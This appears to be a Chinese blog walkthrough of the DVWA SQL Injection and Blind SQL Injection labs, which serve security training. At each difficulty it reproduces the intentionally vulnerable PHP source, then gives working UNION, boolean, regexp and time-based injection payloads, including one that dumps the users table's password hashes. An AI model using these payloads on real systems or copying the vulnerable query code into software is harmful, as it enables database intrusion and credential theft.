DVWA——SQL Injection

最新推荐文章于 2025-07-07 10:47:07 发布

原创最新推荐文章于 2025-07-07 10:47:07 发布 · 462 阅读

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本文详细介绍了不同难度级别的SQL注入攻击案例，包括低级、中级、高级及不可能级别的防护措施，并展示了如何利用各种技巧进行盲注攻击。

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SQL Injection

Low

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) {     //／／mysqli_fetch_assoc()函数从结果集中取得一行作为关联数组
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?>

查询数据库：0' union select 1,database() # //dvwa

查表名：0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="dvwa") # //guestbook,users

查列名：0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users") # //user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

查数据： 0' union select group_concat(first_name,last_name),group_concat(password) from users #
得到：
First name: adminadmin,GordonBrown,HackMe,PabloPicasso,BobSmith

Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

Medium

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Display values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

} 

// This is used later on in the index.php page 
// Setting it here so we can close the database connection in here like in the rest of the source scripts 
$query  = "SELECT COUNT(*) FROM users;"; 
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; 

mysqli_close($GLOBALS["___mysqli_ston"]); 
?>

Medium增加了mysqli_real_escape_string()函数对一些特殊字符进行转义

前端使用菜单对输入进行限制，但可以抓包处理

存在数字型注入

查询数据库：0 union select 1,database() # //dvwa

查表：0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) # //guestbook,users

查列名：0 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # //user_id,first_name,last_name,user,password,avatar,last_login,failed_login

查数据：0 union select group_concat(first_name,last_name),group_concat(password) from users #

High

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);         
} 

?>

同样可以使用 0' union select group_concat(first_name,last_name),group_concat(password) from users # 直接手工注入

High级别中提交的页面与查询结果的页面并不是一个页面，这样的作用是为了防止一般的sqlmap注入

Impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码已经使用了PDO技术有效的防止了SQL注入，同时Anti-CSRFtoken有效的防治了CSRF攻击

SQL Injection (Blind)

Low

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors     ／／mysqli_num_rows()函数返回结果集中行的数目  
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?>

下面给出几个不同方法：

猜测数据库名长度：1’ and length(database())=4 #

猜测数据库名第一位：1' and ascii(left(database(),1))>100 # //猜测数据库第一位为d

猜测数据库名第二位：1' and ascii(substr(database(),2,1))>118 # //猜测数据库第二位为v

猜测数据库第三位：1' and ord(mid(database(),3,1))>119 # //猜测数据库第三位为w,mid()和substr()类似

用了三种方法猜测数据库名，除此之外还有一些方法可取：

like匹配注入：1' and 1=(select database() like 'dv%') # //猜测数据库前两位位dv

regexp正则注入：1' and 1=(select database() regexp '^[a-e]') # //判断第一个字符是[a-e]中的字符
1' and 1=(select database() regexp '^d') # //确定第一个字符是d
1' and 1=(select database() regexp '^d[u-w]') # //判断第二个字符是[u-w]中的字符

之后就可以一次更换：'^dv[a-z]' -> '^dvw[a-z]' -> '^dvwa[a-z]'

基于时间的盲注：1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #

猜测表的长度：1' and (select count(table_name) from information_schema.tables where table_schema="dvwa")=2 # //猜测表有2个

逐个猜测各个表名的长度：1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 # //猜测第一个表长度为9

1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 # //猜测第二个表长度为5

猜测第一个表名：1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # //猜测第一个表名的第一个字母为g

...

猜测第二个表名：1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>117 # //猜测第二个表名的第一个字母为u

...

类似的使用上述方法即可猜测出所有的表名和列名

Medium

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?>

使用了mysqli_real_escape_string()函数，对输入进行限制。

注入方法类似

High

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?>

使用cookie传送参数，同时使用sleep()函数扰乱时间盲注

Impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 

        // Get results 
        if( $data->rowCount() == 1 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码已经使用了PDO技术有效的防止了SQL注入，同时Anti-CSRFtoken有效的防治了CSRF攻击